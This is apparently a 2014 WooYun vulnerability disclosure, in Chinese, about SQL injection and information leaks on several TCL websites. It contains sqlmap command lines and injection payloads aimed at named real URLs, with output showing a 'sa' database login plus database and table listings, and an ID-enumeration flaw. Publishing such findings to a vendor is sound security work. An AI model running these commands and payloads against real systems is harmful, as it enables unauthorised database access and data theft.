漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-047302
漏洞标题：TCL#多个分站漏洞大礼包（SQL注射、信息泄露）
相关厂商：TCL官方网上商城
漏洞作者： Mr.leo
提交时间：2014-08-11 12:57
修复时间：2014-09-25 12:58
公开时间：2014-09-25 12:58
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-08-11： 细节已通知厂商并且等待厂商处理中
2014-08-11： 厂商已经确认，细节仅向厂商公开
2014-08-21： 细节向核心白帽子及相关领域专家公开
2014-08-31： 细节向普通白帽子公开
2014-09-10： 细节向实习白帽子公开
2014-09-25： 细节向公众公开
简要描述：
TCL#多个分站漏洞大礼包（SQL注射、信息泄露）
详细说明：
站点：
http://cts.tcl.com 员工绩效管理系统
WooYun: TCL漏洞3之某系统高权限SQL注射可以直接执行系统命令 属于同一站点，原漏洞利用是POST提交方式，不过经过测试，GET方式也存在相应问题，还有就是post方式也没有修复好。
注入点：
sqlmap.py -u "http://cts.tcl.com/AjaxHelper/AjaxHelper.aspx?method=login&PassWord=e&UserName=e" -p "UserName"--dbs --current-user --current-db
直接上sqlmap-log
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: UserName
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: method=login&PassWord=e&UserName=e'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: method=login&PassWord=e&UserName=e' WAITFOR DELAY '0:0:5'--
---
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: UserName
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: method=login&PassWord=e&UserName=e'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: method=login&PassWord=e&UserName=e' WAITFOR DELAY '0:0:5'--
---
current user: 'sa'
current database: 'TCL_CTS'
available databases [20]:
[*] appjob
[*] dbAudit
[*] dbGLS
[*] dbSurvey
[*] dbVQ
[*] EHR4
[*] EHR5
[*] EHR6
[*] HRDB
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] SAP_SAGEM
[*] TCL_CTS
[*] TCL_CTS_TEST
[*] TCL_OQSS
[*] tempCts
[*] tempdb
时间延时注入，比较慢就没有深入了。
站点2：
http://www.tclrf.com 惠州TCL王牌高频电子有限公司
class_1参数没有过滤，导致注射
Sqlmap -u "http://www.tclrf.com/product.php?class_1=5&class_2=5"
--dbs --current-user --current-db
Database: tclrf
[31 tables]
+---------------+
| hyyy_ad |
| hyyy_dept |
| hyyy_dept_c1 |
| hyyy_dept_c2 |
| hyyy_dept_c3 |
| hyyy_dept_msg |
| hyyy_epe |
| hyyy_epe_c1 |
| hyyy_epe_c2 |
| hyyy_epe_c3 |
| hyyy_feedback |
| hyyy_info |
| hyyy_link |
| hyyy_link_c1 |
| hyyy_log |
| hyyy_master |
| hyyy_msg |
| hyyy_news |
| hyyy_news_c1 |
| hyyy_news_c2 |
| hyyy_pro |
| hyyy_pro_c1 |
| hyyy_pro_c2 |
| hyyy_pro_c3 |
| hyyy_prod |
| hyyy_prod_c1 |
| hyyy_prod_c2 |
| hyyy_prod_c3 |
| hyyy_staff |
| hyyy_staff_c1 |
| hyyy_staff_c2 |
+---------------+
站点3：
http://bbs.tcl.com TCL内部论坛
hotel_id存在遍历漏洞，替换数字可以看见相关信息泄露
http://bbs.tcl.com/tcl_signed_hotel/hoteldetail.aspx?hotel_id=31
站点：
tech.tcl.com
由于网站没有设置robots.txt，导致被搜索引擎抓取信息，导致信息泄露
整站都检查一下吧。就不深入了。
over
漏洞证明：
已经证明
修复方案：
1#过滤get和post方式的注入漏洞
2#屏蔽敏感信息泄露
版权声明：转载请注明来源 Mr.leo@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：15
确认时间：2014-08-11 16:21
厂商回复：
感谢您的关注，已转交相关单位处理。
最新状态：
暂无